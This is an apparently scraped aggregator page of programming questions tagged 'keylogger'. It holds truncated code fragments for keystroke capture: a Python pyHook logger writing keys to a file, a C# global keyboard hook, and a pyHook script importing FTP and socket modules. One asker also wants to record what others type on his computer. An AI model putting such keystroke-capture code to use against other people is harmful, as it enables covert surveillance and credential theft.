keylogger

pyHook for Python 3.3

回眸只為那壹抹淺笑 提交于 2019-12-12 11:28:29
问题 I am coding a simple keylogger using Python. I hope to use pyHook to capture keyboard events.I couldn't find any packages of pyHook for python 3.3 which I have installed. Is there any other module for python 3.3 which provides similar functionalities? 回答1: A quick google turned up this site, which has unofficial installers for pyHook 1.5.1 (and a whole lot of other packages) for Python 3.3. I haven't tested it, but it seems worth trying. And there are a couple of other similar repositories on

No attribute 'HookManager'

拥有回忆 提交于 2019-12-12 03:35:38
问题 I am copying the key logger from this video: (https://www.youtube.com/watch?v=8BiOPBsXh0g) and running the code: import pyHook, sys, logging, pythoncom file_log = 'C:\Users\User\Google Drive\Python' def OnKeyboardEvent(event): logging.basicConfig(filename = file_log, level = logging.DEBUG, format = '%(message)s') chr(event.Ascii) logging.log(10, chr(event.Ascii)) return True hooks_manager = pyHook.HookManager() hooks_manager.KeyDown = OnKeyboardEvent hooks_manager.HookKeyboard() pythoncom

get pressed key and throw another key in android

青春壹個敷衍的年華 提交于 2019-12-11 22:12:44
问题 i want to make an android app that works in background and get's what key is pressed in keyboard and throw Equivalent of it in another language,for example persian or arabic. how can i do this? thanks for your help. 回答1: I doubt you can write such APP, this would violate lots of security measures in android. But you can write your own custom soft keyboard: How to develop a soft keyboard for Android? user will have to choose your keyboard explicitly in settings. You will be able to do all the

Need to send key presses to a webpage(html5 game)

爱⌒轻易说出口 提交于 2019-12-11 16:37:07
问题 Trying to build a bot for experimenting with A.I for a webpage. The webpage in question is a game(HTML5). I want to send keys (up, down, left, right, space)to an externally opened webpage to control a bot in the game. I looked into mechanize, but it feels to me that its constructed for forms and stuff. BTW, i'm taking A.I. right now, hence the curiosity. Any help would be appreciated. Thank You. 回答1: Depending on how you want to approach this, and assuming you're on Windows, the guide here

global keyboard hook slowing down computer

一世执手 提交于 2019-12-11 12:06:05
问题 I am using the code from this article : private const int WH_KEYBOARD_LL = 13; private const int WM_KEYDOWN = 0x0100; private static LowLevelKeyboardProc _proc = HookCallback; private static IntPtr _hookID = IntPtr.Zero; public static void Main() { _hookID = SetHook(_proc); //Application.Run(); //UnhookWindowsHookEx(_hookID); } private static IntPtr SetHook(LowLevelKeyboardProc proc) { using (Process curProcess = Process.GetCurrentProcess()) using (ProcessModule curModule = curProcess

Python threading with pyhook

泄露秘密 提交于 2019-12-11 11:10:21
问题 import win32api import win32console import win32gui import pythoncom, pyHook , sys, time , os , threading import shutil ,socket ,datetime from ftplib import FTP from threading import Thread def fi(): while True: dr = socket.gethostname() if not os.path.exists(dr): os.makedirs(dr) else: pass now = datetime.datetime.now() p = now.strftime("%Y-%m-%d %H-%M") temp_path = dr + '/' + p fil = temp_path + '.txt' sys.stdout = open(fil,'w') statinfo = os.stat(fil) fils = statinfo.st_size if(fils > 20):

python 3, try to read from multiple HID inputs, Raspberry Pi

[亡魂溺海] 提交于 2019-12-10 23:37:21
问题 I have a barcode scanner connected to my RasPi without any tty, which means headless without a monitor. In other words, a keylogger for number inputs. This scanner reads numerical barcodes like GTIN or EAN. It works, the script is started by sh on boot. The script I use looks like that: import sys tStr = '' while 1: fp = open('/dev/hidraw3', 'rb') buffer = fp.read(8) for c in buffer: if c: if c == 40 or c == 88: # [ENTER-key] function_to_handle_result (tStr) tStr = '' elif c == 98 or c == 39:

Capture all keyboard events using VB.Net

无人久伴 提交于 2019-12-10 15:23:26
问题 I've written an app with a simple textbox which attempts to identify a user from their typing habits (interval between key presses, duration key is held, time between key strokes ie a->s is quicker than a->v for some users, shorter for others depending on typing style). It's far from perfect but it does correctly identify moderate-large differences in style. I'm hoping to use this as a form of security monitor - If the typing style of the user doesn't fit a recognised pattern, report to a

Is it possible to make a keylogger with Node.js? [closed]

一世执手 提交于 2019-12-09 02:06:59
问题 Closed . This question needs details or clarity. It is not currently accepting answers. Want to improve this question? Add details and clarify the problem by editing this post. Closed 4 years ago . I used node for 1 year, but only for writing server applications. I am now interested in making an application that's usually written in a language like C or C++, so I am not sure if it's possible, for example, to write a keylogger or simillar applications using JavaScript and Node.js? 回答1: Yes,

how to use console/windows app without focus on it?

删除回忆录丶 提交于 2019-12-08 07:11:12
问题 im going to create a KEylog application that enables me to write all data typed(keys pressed) on a text file/database how can i do this without focus on the windows app/console app? for a reason , for all you to know, this is for my PC and im not trying to hack an account. just for me to know what they are doing on my computer. 回答1: Find an example written in .NET here: Processing Global Mouse and Keyboard Hooks in C# This class allows you to tap keyboard and mouse and/or to detect their